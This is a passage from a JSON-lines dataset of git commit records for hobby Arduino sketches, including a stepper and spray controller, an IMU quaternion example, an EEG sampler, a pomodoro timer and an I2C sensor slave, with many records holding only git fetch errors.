95;\n\nvoid setup() {\n Serial.begin(57600);\n\n stepperX.setMaxSpeed(300);\n stepperX.setAcceleration(100);\n\n stepperY1.setMaxSpeed(300);\n stepperY1.setAcceleration(50);\n stepperY2.setMaxSpeed(300);\n stepperY2.setAcceleration(50);\n\n stepperZ.setMaxSpeed(1200);\n stepperZ.setAcceleration(800);\n\n steppers.addStepper(stepperX);\n steppers.addStepper(stepperY1);\n steppers.addStepper(stepperY2);\n steppers.addStepper(stepperZ);\n\n panServo.attach(PIN_SERVO1);\n tiltServo.attach(PIN_SERVO2);\n\n triggerServo = tiltServo;\n paintServo = panServo;\n\n paintServo.write(PAINT_MIN);\n triggerServo.write(TRIGGER_OFF);\n\n pinMode(PIN_Y_ENABLE, OUTPUT);\n digitalWrite(PIN_Y_ENABLE, HIGH);\n\n pinMode(PIN_KNOB1, INPUT);\n pinMode(PIN_KNOB2, INPUT);\n pinMode(PIN_KNOB3, INPUT);\n}\n\nvoid sprayOn() {\n int paint = map(analogRead(PIN_KNOB1), 0, 1023, PAINT_MIN, PAINT_MAX);\n paintServo.write(paint);\n triggerServo.write(TRIGGER_ON);\n}\n\nvoid sprayOff() {\n triggerServo.write(TRIGGER_OFF);\n}\n\nvoid loop() {\n static int16_t zOffset;\n\n static char command;\n static int16_t xValue, yValue, zValue;\n static int index = 0;\n long positions[4];\n\n while (Serial.available() > 0) {\n uint8_t c = Serial.read();\n\n switch (index) {\n case 0:\n command = c;\n break;\n case 1:\n xValue = c;\n break;\n case 2:\n xValue |= c << 8;\n break;\n case 3:\n yValue = c;\n break;\n case 4:\n yValue |= c << 8;\n break;\n case 5:\n zValue = c;\n break;\n case 6:\n zValue |= c << 8;\n\n if (command == 'm') {\n positions[0] = xValue;\n positions[1] = yValue;\n positions[2] = -yValue;\n positions[3] = zValue;\n\n Serial.print(\"ARD: \");\n Serial.print(positions[0]);\n Serial.print(\", \");\n Serial.print(positions[1]);\n Serial.print(\", \");\n Serial.print(positions[2]);\n Serial.print(\", \");\n Serial.print(positions[3]);\n Serial.println();\n\n steppers.moveTo(positions);\n running = true;\n } else if (command == 'r') {\n panServo.write(xValue);\n tiltServo.write(yValue);\n } else if (command == 's') {\n if (xValue > 0) {\n sprayOn();\n } else {\n sprayOff();\n }\n }\n\n break;\n }\n\n index++;\n\n if (index == 8) {\n index = 0;\n }\n }\n\n boolean aMotorIsRunning = steppers.run();\n\n if (running && (!aMotorIsRunning)) {\n running = false;\n Serial.println(\"Done moving\");\n Serial.write(\"d\\n\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Machine2RemoteControl\/Machine2RemoteControl.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c0d59e320e5086b38aa8c571da0fdc3b7a4a4052","subject":"Add example of MPU9250 used with samd21 for very compact assembly","message":"Add example of MPU9250 used with samd21 for very compact assembly\n","repos":"baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite","old_file":"Arduino\/MPU9250_DMP_Quaternion_Power_samd21_mini\/MPU9250_DMP_Quaternion_Power_samd21_mini.ino","new_file":"Arduino\/MPU9250_DMP_Quaternion_Power_samd21_mini\/MPU9250_DMP_Quaternion_Power_samd21_mini.ino","new_contents":"\/************************************************************\nMPU9250_DMP_Quaternion\n Quaternion example for MPU-9250 DMP Arduino Library \nJim Lindblom @ SparkFun Electronics\noriginal creation date: November 23, 2016\nhttps:\/\/github.com\/sparkfun\/SparkFun_MPU9250_DMP_Arduino_Library\n\nThe MPU-9250's digital motion processor (DMP) can calculate\nfour unit quaternions, which can be used to represent the\nrotation of an object.\n\nThis exmaple demonstrates how to configure the DMP to \ncalculate quaternions, and prints them out to the serial\nmonitor. It also calculates pitch, roll, and yaw from those\nvalues.\n\nDevelopment environment specifics:\nArduino IDE 1.6.12\nSparkFun 9DoF Razor IMU M0\n\nSupported Platforms:\n- ATSAMD21 (Arduino Zero, SparkFun SAMD21 Breakouts)\n*************************************************************\/\n#include <SparkFunMPU9250-DMP.h>\n\n#define SerialPort SerialUSB\n\nMPU9250_DMP imu;\n\n#define VCC_PIN 5\n#define GND_PIN 6\n\n\nvoid setup() \n{\n pinMode(VCC_PIN, OUTPUT);\n pinMode(GND_PIN, OUTPUT);\n digitalWrite(VCC_PIN, HIGH);\n digitalWrite(GND_PIN, LOW);\n SerialPort.begin(115200);\n\n \/\/ Call imu.begin() to verify communication and initialize\n if (imu.begin() != INV_SUCCESS)\n {\n while (1)\n {\n SerialPort.println(\"Unable to communicate with MPU-9250\");\n SerialPort.println(\"Check connections, and try again.\");\n SerialPort.println();\n delay(5000);\n }\n }\n \n imu.dmpBegin(DMP_FEATURE_6X_LP_QUAT | \/\/ Enable 6-axis quat\n DMP_FEATURE_GYRO_CAL, \/\/ Use gyro calibration\n 10); \/\/ Set DMP FIFO rate to 10 Hz\n \/\/ DMP_FEATURE_LP_QUAT can also be used. It uses the \n \/\/ accelerometer in low-power mode to estimate quat's.\n \/\/ DMP_FEATURE_LP_QUAT and 6X_LP_QUAT are mutually exclusive\n}\n\nvoid loop() \n{\n \/\/ Check for new data in the FIFO\n if ( imu.fifoAvailable() )\n {\n \/\/ Use dmpUpdateFifo to update the ax, gx, mx, etc. values\n if ( imu.dmpUpdateFifo() == INV_SUCCESS)\n {\n \/\/ computeEulerAngles can be used -- after updating the\n \/\/ quaternion values -- to estimate roll, pitch, and yaw\n imu.computeEulerAngles();\n printIMUData();\n }\n }\n}\n\nvoid printIMUData(void)\n{ \n \/\/ After calling dmpUpdateFifo() the ax, gx, mx, etc. values\n \/\/ are all updated.\n \/\/ Quaternion values are, by default, stored in Q30 long\n \/\/ format. calcQuat turns them into a float between -1 and 1\n float q0 = imu.calcQuat(imu.qw);\n float q1 = imu.calcQuat(imu.qx);\n float q2 = imu.calcQuat(imu.qy);\n float q3 = imu.calcQuat(imu.qz);\n\n SerialPort.println(\"Q: \" + String(q0, 4) + \", \" +\n String(q1, 4) + \", \" + String(q2, 4) + \n \", \" + String(q3, 4));\n SerialPort.println(\"R\/P\/Y: \" + String(imu.roll) + \", \"\n + String(imu.pitch) + \", \" + String(imu.yaw));\n SerialPort.println(\"Time: \" + String(imu.time) + \" ms\");\n SerialPort.println();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/MPU9250_DMP_Quaternion_Power_samd21_mini\/MPU9250_DMP_Quaternion_Power_samd21_mini.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b02d84b6298b7a55d18aec7d5cd2407f97fe90a2","subject":"Removed some diagnostic prints.","message":"Removed some diagnostic prints.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8b3bb3a6b944e8574603a6993eea9220c1d96178","subject":"keep working tx1 and rx1","message":"keep working tx1 and rx1\n","repos":"serge-v\/dotfiles,serge-v\/dotfiles,serge-v\/dotfiles","old_file":"src\/mc\/tx1\/tx1.ino","new_file":"src\/mc\/tx1\/tx1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/serge-v\/dotfiles.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"7a21217d7dd343e138956e24ff8eaa9192250ca0","subject":"Changed sendPinValues to send the RS_PIN_VALUE once.","message":"Changed sendPinValues to send the RS_PIN_VALUE once.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"149213abbca3c641d2b1b185583c0d72c2aac10b","subject":"Aikaa vaihdettu","message":"Aikaa vaihdettu\n\n1000 -> 1100\n","repos":"teemune\/TestiRepomies,teemune\/TestiRepomies","old_file":"arduinosketsi\/arduinosketsi.ino","new_file":"arduinosketsi\/arduinosketsi.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/teemune\/TestiRepomies.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9f0c6f2f3aae3ee5a7577953d40f81a28b8385ee","subject":"Asservissement: changement des doubles en float + ajout fonction calculConsignePWM avec \u00e9quation + maj fonction robotGo","message":"Asservissement: changement des doubles en float + ajout fonction calculConsignePWM avec \u00e9quation + maj fonction robotGo\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Moteur\/Software\/Asservissement\/Asservissement vitesse\/Asservissement vitesse\/asservissementVitesse.ino","new_file":"Module Moteur\/Software\/Asservissement\/Asservissement vitesse\/Asservissement vitesse\/asservissementVitesse.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Moteur\/Software\/Asservissement\/Asservissement' did not match any file(s) known to git\nerror: pathspec 'vitesse\/Asservissement' did not match any file(s) known to git\nerror: pathspec 'vitesse\/asservissementVitesse.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"29566b8e61a5d0fc15cb2f3a97e121499e2ecf0d","subject":"eeg firmware","message":"eeg firmware\n","repos":"harerama\/arduino_stim","old_file":"arduino_stim\/firmware\/arduinoeeg_compatible_firmware.ino\/arduinoeeg_compatible_firmware.ino.ino","new_file":"arduino_stim\/firmware\/arduinoeeg_compatible_firmware.ino\/arduinoeeg_compatible_firmware.ino.ino","new_contents":"#define ANALOG_IN 0\nconst boolean DEBUG = true; \/\/ If true, the device will regularly send all internal parameters to the computer\nconst int BAUD_RATE = 57600;\n\n#define NUMCHANNELS 6\n#define HEADERLEN 4\n#define PACKETLEN (HEADERLEN + NUMCHANNELS * 2 + 1)\n\n#define FOSC 16000000\t\t\/\/ Clock Speed\n#define SAMPFREQ 256\n#define TIMER0VAL 256 - ((FOSC \/ 256) \/ SAMPFREQ)\n\n char const channel_order[] = {0, 1, 2, 3, 4, 5};\n\nvoid setup(void)\n{\n \/\/ initialize Timer1\n cli(); \/\/ disable global interrupts\n TCCR1A = 0; \/\/ set entire TCCR1A register to 0\n TCCR1B = 0; \/\/ same for TCCR1B\n OCR1A = FOSC \/ 256 - 1 ; \/\/ set compare match register to desired timer count: 256 Hz\n TCCR1B |= (1 << WGM12); \/\/ turn on CTC mode: \n TCCR1B |= (1 << CS10); \/\/ runes at clock frequency (multiplier = 1)\n TIMSK1 |= (1 << OCIE1A); \/\/ enable timer compare interrupt: \n sei(); \/\/ enable global interrupts: \n\n Serial.begin(BAUD_RATE);\n}\n\nISR(TIMER1_COMPA_vect)\n{\n uint8_t TXBuf[PACKETLEN];\n TXBuf[0] = 0xA5;\t\/\/Sync 0\n TXBuf[1] = 0x5A;\t\/\/Sync 1\n TXBuf[2] = 2;\t\t\/\/Protocol version\n TXBuf[3] = 0;\t\t\/\/Packet counter\n \n int channel = 0;\n int val = analogRead(ANALOG_IN);\n TXBuf[channel * 2 + HEADERLEN] = val & 0xFF;\n TXBuf[channel * 2 + 1 + HEADERLEN] = (val >> 8) & 0xFF;\n TXBuf[NUMCHANNELS * 2 + HEADERLEN] = 0b00000001;\n Serial.write(TXBuf, PACKETLEN);\n}\n\nvoid loop() {\n while (1) { \n __asm__ __volatile__ (\"sleep\");\t\/\/ sleep until something happens\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_stim\/firmware\/arduinoeeg_compatible_firmware.ino\/arduinoeeg_compatible_firmware.ino.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"dd16ce7011543f55f699d0776c3d2068e961d5df","subject":"Add initial robot motor body code","message":"Add initial robot motor body code\n","repos":"johnflux\/FluxRobot,johnflux\/FluxRobot,johnflux\/FluxRobot,johnflux\/FluxRobot","old_file":"Arduino\/robot_motor_body\/robot_motor_body.ino","new_file":"Arduino\/robot_motor_body\/robot_motor_body.ino","new_contents":"\/* \nThis is a test sketch for the Adafruit assembled Motor Shield for Arduino v2\nIt won't work with v1.x motor shields! Only for the v2's with built in PWM\ncontrol\n\nFor use with the Adafruit Motor Shield v2 \n---->\thttp:\/\/www.adafruit.com\/products\/1438\n*\/\n\n#include <Wire.h>\n#include <Adafruit_MotorShield.h>\n#include \"utility\/Adafruit_MS_PWMServoDriver.h\"\n\nAdafruit_MotorShield AFMSbot(0x60); \/\/ Default address, no jumpers\nAdafruit_MotorShield AFMStop(0x61); \/\/ Rightmost jumper closed\n\nAdafruit_DCMotor *motorMiddleLeft = AFMStop.getMotor(2); \/\/Backwards\nAdafruit_DCMotor *motorFrontLeft = AFMStop.getMotor(3); \/\/ Forwards\nAdafruit_DCMotor *motorBackLeft = AFMStop.getMotor(1); \/\/ Backwards\nAdafruit_DCMotor *motorBackRight = AFMSbot.getMotor(2); \/\/ Backwards\nAdafruit_DCMotor *motorFrontRight = AFMSbot.getMotor(3); \/\/ Backwards\nAdafruit_DCMotor *motorMiddleRight = AFMSbot.getMotor(4); \/\/ Backwards\n\n\nvoid setup() {\n while (!Serial);\n Serial.begin(9600); \/\/ set up Serial library at 9600 bps\n Serial.println(\"MMMMotor party!\");\n\n AFMSbot.begin(); \/\/ Start the bottom shield\n AFMStop.begin(); \/\/ Start the top shield\n \n \/\/ turn on the DC motor\n motorMiddleLeft->setSpeed(100);\n motorMiddleLeft->run(BACKWARD);\n motorFrontLeft->setSpeed(100);\n motorFrontLeft->run(FORWARD);\n motorBackLeft->setSpeed(100);\n motorBackLeft->run(BACKWARD);\n\n motorBackRight->setSpeed(100);\n motorBackRight->run(BACKWARD);\n motorFrontRight->setSpeed(100);\n motorFrontRight->run(BACKWARD);\n motorMiddleRight->setSpeed(100);\n motorMiddleRight->run(BACKWARD);\n}\n\nvoid loop() {\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/robot_motor_body\/robot_motor_body.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b9d829f4c902078d92ee9ddd10fefe0aaf7d49f2","subject":"Dump of pomodoro timer code","message":"Dump of pomodoro timer code\n","repos":"gazhayes\/arduino-projects","old_file":"Pomedoro\/pomedoro\/pomedoro.ino","new_file":"Pomedoro\/pomedoro\/pomedoro.ino","new_contents":"#include <stopwatch.h>\n#include <SD.h>\n#include <Wire.h> \n#include <LiquidCrystal_I2C.h>\nconst int chipSelect = 10;\nLiquidCrystal_I2C lcd(0x3F,16,2);\n\n\/\/------Initialize timekeepers--------|\nunsigned int XRCISE = 0;\nunsigned int GOALS = 0;\nunsigned int EDU = 0;\nunsigned int CHORES = 0;\nunsigned int CHAT = 0;\nunsigned int RELAX = 0;\n\n\/\/------Initialize buttons----------|\nint XRCISE_b = 8;\nint GOALS_b = 9;\nint EDU_b = 4;\nint CHORES_b = 5;\nint CHAT_b = 6;\nint RELAX_b = 7;\n\nint POM = 2;\nint STOPWATCH = A0;\nint END = A1;\n\n\n\/\/---------Initialize LEDs-----------|\nint POM_l = A2;\nint STOPWATCH_l = A3;\n\n\/\/---------Initialize variables--------|\nString button = \"none\";\nint POMTIME = 0;\nint piezoPin = 3;\nStopWatch sw(StopWatch::SECONDS);\n File timeLog;\n\n\nvoid setup() {\n\/\/------Initialize buttons----------|\npinMode(XRCISE_b, INPUT_PULLUP);\npinMode(GOALS_b, INPUT_PULLUP);\npinMode(EDU_b, INPUT_PULLUP);\npinMode(CHORES_b, INPUT_PULLUP);\npinMode(CHAT_b, INPUT_PULLUP);\npinMode(RELAX_b, INPUT_PULLUP);\npinMode(POM, INPUT_PULLUP);\npinMode(STOPWATCH, INPUT_PULLUP);\npinMode(END, INPUT_PULLUP);\npinMode(A2, OUTPUT);\n\n lcd.init();\n lcd.backlight();\n pinMode(10, OUTPUT);\n if(SD.begin(chipSelect)){\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"SD CARD OK\");\n delay(1000);\n } else {\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"SD CARD FAIL\");\n delay(1000);\n };\n}\n\nvoid loop () { \n\/\/int GOALS_val = digitalRead(GOALS_b);\n\/\/delay(2);\n \n \n\/\/First button select\nbutton = \"none\";\nint activity = 0;\n\nunsigned int currentTimer = 0;\nwhile (button == \"none\") {\nlcd.clear();\nlcd.setCursor(0, 0);\nlcd.print(\"SELECT ACTIVITY\");\nwhile (digitalRead(XRCISE_b) == 1 && digitalRead(GOALS_b) == 1 && digitalRead(EDU_b) == 1 && digitalRead(CHORES_b) == 1 && digitalRead(CHAT_b) == 1 && digitalRead(RELAX_b) == 1 && digitalRead(END) == 1) {};\nif (digitalRead(XRCISE_b) == 0) {button = \"EXERCISE\";currentTimer = XRCISE;};\nif (digitalRead(GOALS_b) == 0) {button = \"GOALS\";currentTimer = GOALS;activity = 2;};\nif (digitalRead(EDU_b) == 0) {button = \"EDUCATION\";currentTimer = EDU;};\nif (digitalRead(CHORES_b) == 0) {button = \"CHORES\";currentTimer = CHORES;};\nif (digitalRead(CHAT_b) == 0) {button = \"CHAT\";currentTimer = CHAT;};\nif (digitalRead(RELAX_b) == 0) {button = \"RELAX\";currentTimer = RELAX;};\nif (digitalRead(END) == 0) {delay(500);endofday();};\n\n}\n\nif (button != \"none\") {\n delay(300);\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"ACT: \" + button);\n lcd.setCursor(0, 1);\n lcd.print(\"POM \/ STOPWATCH?\");\n while (digitalRead(POM) == 1 && digitalRead(STOPWATCH) == 1 && digitalRead(END) == 1) {\n };\n if (digitalRead(POM) == 0) {\n pomedoro(activity);\n };\n if (digitalRead(STOPWATCH) == 0) {\n stopwatch();\n };\n if (digitalRead(END) == 0) {\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(button);\n lcd.setCursor(0, 1);\n int hours = floor(sw.elapsed()\/3600);\n lcd.print(hours);\n lcd.print(\"Hours \");\n lcd.print(currentTimer\/60%60);\n lcd.print(\"Mins\");\n delay(2000);\n };\n \n }\n \ndelay(100);\n }\n\nvoid pomedoro(int activity) {\n int pot = analogRead(A6) \/ 17.05;\n POMTIME = pot*60;\n if(POMTIME == 0) {POMTIME = 60;}\n if(button == \"EXERCISE\") {XRCISE = XRCISE + POMTIME;}\n if(button == \"GOALS\") {GOALS = GOALS + POMTIME;}\n if(button == \"EDU\") {EDU = EDU + POMTIME;}\n if(button == \"CHORES\") {CHORES = CHORES + POMTIME;}\n if(button == \"CHAT\") {CHAT = CHAT + POMTIME;}\n if(button == \"RELAX\") {RELAX = RELAX + POMTIME;}\n \n sw.reset();\n sw.start();\n \n while(POMTIME-sw.elapsed() >= 1){\n analogWrite(POM_l, 128);\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"]---POMODORO---[\");\n\/\/lcd.print(POMTIME);\n\/\/lcd.print(\" \");\n\/\/lcd.print(GOALS);\nlcd.setCursor(0, 1);\nlcd.print(button + \":\");\n lcd.setCursor(11, 1);\n if(POMTIME-sw.elapsed() < 600){\n lcd.print(\"0\"); \n }\n \/\/ if(POMTIME-sw.elapsed() < 60){\n \/\/ lcd.print(\"0\"); \n \/\/ }\n lcd.print((POMTIME-sw.elapsed())\/60%60);\n lcd.print(\":\");\n \n\/\/ lcd.setCursor(11, 1);\n if(60-sw.elapsed()%60 < 10) {\n lcd.print(\"0\");\n }\n lcd.print(60-sw.elapsed()%60);\n \/\/lcd.print(\"S\");\n delay(1000);\n\n }\n analogWrite(POM_l, 0);\n tone(piezoPin, 3000, 50);\n delay(100);\n tone(piezoPin, 3000, 50);\n delay(100);\n tone(piezoPin, 3000, 50);\n delay(1000);\n }\n\nvoid stopwatch() {\n sw.reset();\n sw.start();\n while(digitalRead(END) == 1) {\n analogWrite(STOPWATCH_l, 128);\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"]---\" + button + \"---[\");\n \/\/lcd.setCursor(0, 1);\n \/\/lcd.print(button + \":\");\n lcd.setCursor(4, 1);\n int hours = floor(sw.elapsed()\/3600);\n lcd.print(\"0\");\n lcd.print(hours);\n lcd.print(\":\");\n if(sw.elapsed()\/60%60 < 10){lcd.print(\"0\");}\n lcd.print(sw.elapsed()\/60%60);\n lcd.print(\":\");\n if(sw.elapsed()%60 < 10){lcd.print(\"0\");}\n lcd.print(sw.elapsed()%60);\n delay(1000);\n }\n analogWrite(STOPWATCH_l, 0);\n sw.stop();\n tone(piezoPin, 3000, 50);\n delay(100);\n tone(piezoPin, 3000, 50);\n delay(100);\n tone(piezoPin, 3000, 50);\n delay(1000);\n if(button == \"EXERCISE\") {XRCISE = XRCISE + sw.elapsed();}\n if(button == \"GOALS\") {GOALS = GOALS + sw.elapsed();}\n if(button == \"EDU\") {EDU = EDU + sw.elapsed();}\n if(button == \"CHORES\") {CHORES = CHORES + sw.elapsed();}\n if(button == \"CHAT\") {CHAT = CHAT + sw.elapsed();}\n if(button == \"RELAX\") {RELAX = RELAX + sw.elapsed();}\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"]-----DONE-----[\");\n lcd.setCursor(0, 1);\n lcd.print(button + \":\");\n lcd.setCursor(9, 1);\n int hours = floor(sw.elapsed()\/3600);\n lcd.print(hours);\n lcd.print(\":\");\n if(sw.elapsed()\/60%60 < 10){lcd.print(\"0\");}\n lcd.print(sw.elapsed()\/60%60);\n lcd.print(\":\");\n if(sw.elapsed()%60 < 10){lcd.print(\"0\");}\n lcd.print(sw.elapsed()%60);\n delay(1000);\n }\n \nvoid endofday() {\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"PRESS AGAIN\");\n lcd.setCursor(0, 1);\n lcd.print(\"FOR RESET\");\nwhile(digitalRead(END) == 1 && digitalRead(POM) == 1){}\nif(digitalRead(END) == 0) {\n if(sdcard() == 1){\nXRCISE = 0;\nGOALS = 0;\nEDU = 0;\nCHORES = 0;\nCHAT = 0;\nRELAX = 0;\nlcd.clear();\nlcd.setCursor(0, 0);\nlcd.print(\"SD WRITE SUCCESS\");\ndelay(500);\n } else {\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"SD ERROR\");\n }\n}\n}\n\nint sdcard(){\n\n if(!SD.exists(\"timelog.csv\")){timeLog = SD.open(\"timelog.csv\", FILE_WRITE);timeLog.println(\"EXERCISE,GOALS,EDUCATION,CHORES,CHAT,RELAX,TOTAL\");timeLog.close();}\n if(SD.exists(\"timelog.csv\")){\n timeLog = SD.open(\"timelog.csv\", FILE_WRITE);\n unsigned int total = XRCISE+GOALS+EDU+CHORES+CHAT+RELAX;\n String toprint = String(String(XRCISE\/60%60) + \",\" + String(GOALS\/60%60) + \",\" + String(EDU\/60%60) + \",\" + String(CHORES\/60%60) + \",\" + String(CHAT\/60%60) + \",\" + String(RELAX\/60%60) + \",\" + String(total\/60%60));\n \/\/timeLog.println(String(String(XRCISE) + \",\" + String(GOALS) + \",\" + String(EDU) + \",\" + String(CHORES) + \",\" + String(CHAT) + \",\" + String(RELAX)));\n lcd.clear();\nlcd.setCursor(0, 0);\nlcd.print(\"WROTE:\");\nlcd.setCursor(0, 1);\nlcd.print(toprint);\ntimeLog.println(toprint);\ntimeLog.close();\n\ndelay(3000);\n return 1;\n } else {return 0;}\n \n \n \n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Pomedoro\/pomedoro\/pomedoro.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"84f6d2891e5ec85089de6cff6db846e288593427","subject":"small correction in comment for BUZZER_PIN","message":"small correction in comment for BUZZER_PIN\n\nto be precise!\n","repos":"flashypepo\/smartdevices,flashypepo\/smartdevices,flashypepo\/smartdevices","old_file":"verdiepingslessen\/PIR_SENSOR\/PIRsensor-BuzzerAlarmWithFunctions\/PIRsensor-BuzzerAlarmWithFunctions.ino","new_file":"verdiepingslessen\/PIR_SENSOR\/PIRsensor-BuzzerAlarmWithFunctions\/PIRsensor-BuzzerAlarmWithFunctions.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/flashypepo\/smartdevices.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f227e290bc4cc2846df86a52be7288a80bd6d0a8","subject":"Nano sketch to read analog and send value on i2c","message":"Nano sketch to read analog and send value on i2c\n","repos":"gizmo-cda\/g2x,thelonious\/g2x,gizmo-cda\/g2x,gizmo-cda\/g2x,thelonious\/g2x,gizmo-cda\/g2x","old_file":"scratchpad\/i2c-slave-to-rpi\/i2c-slave-to-rpi.ino","new_file":"scratchpad\/i2c-slave-to-rpi\/i2c-slave-to-rpi.ino","new_contents":"#include <Wire.h>\n\n#define SLAVE_ADDRESS 0x04\nint analogPin = 3;\nint command = 0;\nint reading = 0;\nbyte buf[2];\n\nvoid setup() {\n \/\/ turn on LED\n pinMode(13, OUTPUT);\n\n \/\/ start serial for output\n Serial.begin(9600);\n \n \/\/ initialize i2c as slave\n Wire.begin(SLAVE_ADDRESS);\n\n \/\/ define callbacks for i2c communication\n Wire.onReceive(receiveData);\n Wire.onRequest(sendData);\n\n \/\/ we're ready to go\n Serial.println(\"Ready!\");\n}\n\nvoid loop() {\n delay(100);\n}\n\n\/\/ callback for received data\nvoid receiveData(int byteCount) {\n while (Wire.available()) {\n command = Wire.read();\n Serial.print(\"command received: \");\n Serial.println(command);\n\n if (command == 1) {\n Serial.println(\"updating analog reading\");\n reading = analogRead(analogPin);\n }\n else {\n Serial.print(\"ignoring unknown command: \");\n Serial.println(command);\n }\n }\n}\n\n\/\/ callback for sending data\nvoid sendData() {\n buf[0] = reading & 0xFF;\n buf[1] = (reading & 0xFF00) >> 8;\n \n Serial.print(\"sending: \");\n Serial.println(reading);\n Wire.write(buf, 2);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'scratchpad\/i2c-slave-to-rpi\/i2c-slave-to-rpi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"62d254a4e8b94b6ff5be55d568468d08ed9397fc","subject":"code that runs on the arduino payload","message":"code that runs on the arduino payload\n","repos":"rayjanwilson\/wind-estimator","old_file":"embed-code\/embed-code.ino","new_file":"embed-code\/embed-code.ino","new_contents":"#include <Wire.h>\n#include \"RTClib.h\"\n#include <Adafruit_GPS.h>\n#include <SoftwareSerial.h>\n#include \"Adafruit_TMP007.h\"\n#include \"Adafruit_HTU21DF.h\"\n\nRTC_DS1307 rtc;\nAdafruit_TMP007 tmp007;\nAdafruit_HTU21DF htu = Adafruit_HTU21DF();\n\nSoftwareSerial mySerial(3, 2);\nAdafruit_GPS GPS(&mySerial);\n\n\/\/ Set GPSECHO to 'false' to turn off echoing the GPS data to the Serial console\n\/\/ Set to 'true' if you want to debug and listen to the raw GPS sentences. \n#define GPSECHO false\n\n\/\/ this keeps track of whether we're using the interrupt\n\/\/ off by default!\nboolean usingInterrupt = false;\nvoid useInterrupt(boolean); \/\/ Func prototype keeps Arduino 0023 happy\n\n\nvoid setup() {\n Serial.begin(115200);\n Wire.begin();\n rtc.begin();\n\n if (! rtc.isrunning()) {\n Serial.println(\"RTC is NOT running!\");\n \/\/ following line sets the RTC to the date & time this sketch was compiled\n \/\/rtc.adjust(DateTime(F(__DATE__), F(__TIME__)));\n \/\/ This line sets the RTC with an explicit date & time, for example to set\n \/\/ January 21, 2014 at 3am you would call:\n \/\/ rtc.adjust(DateTime(2014, 1, 21, 3, 0, 0));\n }\n \n if (! tmp007.begin(TMP007_CFG_4SAMPLE)) {\n Serial.println(\"No sensor found\");\n while (1);\n }\n \n if (!htu.begin()) {\n Serial.println(\"Couldn't find sensor!\");\n while (1);\n }\n \n \/\/ 9600 NMEA is the default baud rate for Adafruit MTK GPS's- some use 4800\n GPS.begin(9600);\n \n \/\/ uncomment this line to turn on RMC (recommended minimum) and GGA (fix data) including altitude\n GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCGGA);\n \/\/ uncomment this line to turn on only the \"minimum recommended\" data\n \/\/GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCONLY);\n \/\/ For parsing data, we don't 